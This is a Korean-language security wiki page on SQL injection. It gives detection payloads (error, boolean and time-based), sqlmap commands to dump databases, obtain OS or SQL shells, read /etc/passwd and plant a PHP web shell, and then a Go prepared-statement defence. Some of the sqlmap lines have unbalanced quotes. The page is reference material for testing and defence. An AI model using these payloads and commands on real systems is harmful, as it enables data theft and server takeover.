SQL Injection
Introduction
SQL Injection은 공격자가 Application에서 사용되는 SQL Query 벗어나 의도한 SQL Query를 수행할 수 있는 공격 방법입니다. 일반적으로 SQL Query로 연결되는 사용자 입력 구간이 주로 취약한 부분이며, 이를 통해 DB내 다른 데이터를 조회하거나, 설정에 따라 시스템 권한까지 탈취할 수 있는 취약점입니다.
Offensive techniques
Detect
Error base
잘못된 SQL Query를 처리하려고 할 때 발생하는 에러를 통해서 SQL Injection의 가능성을 확인할 수 있습니다.
Warning: mysql_fetch_array() expects parameter 1 to be resource, null given in /hj/var/www/listproducts.php on line 74
자세한 에러가 나타나는 경우 이를 기반으로 어떤 SQL Query 구문이 구성 되었는지, 공격자가 추측하고 이를 기반으로 원하는 SQL Query를 실행할 수 있도록 공격코드를 구성할 수 있습니다.
Payload: param=GTID_SUBSET(CONCAT(0x7178707871,(SELECT (ELT(7761=7761,1))),0x716b767871),7761)
Boolean base
SQL 쿼리를 통해 임의로 false나 true가 발생하도록 하여 SQL Injection의 여부를 체크할 수 있습니다.
Payload: param=' or 1=1
=> {"name":"alice"}
Payload: param=' or 1=2
=> {"name":""}
[blind] Timinig base
서버에서 에러 핸들링을 하여 사용자에게 에러를 보여주지 않는 경우, 또는 Boolean 여부를 알 수 없는 환경에선 쉽게 공격의 성공 유무를 판단할 수 없습니다. 그래서 sleep()
구문 등을 이용하여 서버에서 Delay 되는 time을 계산하고, 실제 쿼리가 실행됬는지 체크할 수 있습니다.
Payload: param=(CASE WHEN (9835=9835) THEN SLEEP(5) ELSE 9835 END)
Detect with SQLMap
SQLMap은 SQL Injection을 탐지하고, Exploit 하기 위한 도구입니다. 이를 이용하면 빠르게 여러 페이로드를 기반으로 테스트할 수 있습니다. 자세한 내용은 아래 sqlmap 컬리넌 위키를 참고해주세요.
https://www.hahwul.com/cullinan/sqlmap/
Exploitation
All databases - sqlmap
sqlmap -u "https://google.com/?q=1 --dbs
All tables in db - sqlmap
sqlmap -u "https://google.com/?q=1 --tables -D "DB-NAME"
All columns in table - sqlmap
sqlmap -u "https://google.com/?q=1 -D "DB-NAME" -T "TABLE-NAME" -columns
Dumped contents - sqlmap
sqlmap -u "https://google.com/?q=1 -D "DB-NAME" -T "TABLE-NAME" -dump
Get Shell - sqlmap
Get OS Shell
sqlmap -u "https://google.com/?q=1 --os-shell
Get SQL Shell - sqlmap
sqlmap -u "https://google.com/?q=1 --sql-shell
R/W File - sqlmap
Read File
sqlmap -u "https://google.com/?q=1" --file-read '/etc/passwd'
Write File
sqlmap -u "https://google.com/?q=1" --file-write './shell.php' --file-dest '/apache/public/shell.php'
Bypass protection
XSS와 동일하게 Encoding, Bypass WAF등 여러가지 우회 방법들이 존재합니다. 자세한 내용은 PayloadAllTheThings를 참고해주세요!
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
Defensive techniques
PreparedStatement
PreparedStatement는 DB Query를 처리하기 전에 미리 준비한 Statement입니다. PreparedStatement를 사용하면 기존에 미리 정의한 패턴의 SQL Query를 벗어날 수 없게 되어 SQL Injection에 효과적으로 대응할 수 있습니다.
Golang의 PreparedStatement
// AlbumByID retrieves the specified album.
func AlbumByID(id int) (Album, error) {
// Define a prepared statement. You'd typically define the statement
// elsewhere and save it for use in functions such as this one.
stmt, err := db.Prepare("SELECT * FROM album WHERE id = ?")
if err != nil {
log.Fatal(err)
}
var album Album
// Execute the prepared statement, passing in an id value for the
// parameter whose placeholder is ?
err := stmt.QueryRow(id).Scan(&album.ID, &album.Title, &album.Artist, &album.Price, &album.Quantity)
if err != nil {
if err == sql.ErrNoRows {
// Handle the case of no rows returned.
}
return album, err
}
return album, nil
}
User Input Protection
만약 PreparedStatement와 같이 미리 정의된 Statement, 또는 Framework의 기능들을 이용할 수 없는 경우 사용자로 부터 받아 사용하는 입력 구간에는 모두 SQL Injection에 대한 Protection이 필요합니다.
DB Query로 연결되는 데이터는 미리 예측 가능한 타입의 값만 받아야하며, SQL Injection에 사용될 수 있는 특수문자등은 제한하는 것이 좋습니다.
Tools
- https://github.com/sqlmapproject/sqlmap
- https://github.com/m4ll0k/Atlas
- https://gitlab.com/kalilinux/packages/sqlninja
- https://github.com/the-robot/sqliv
- https://github.com/stamparm/DSSS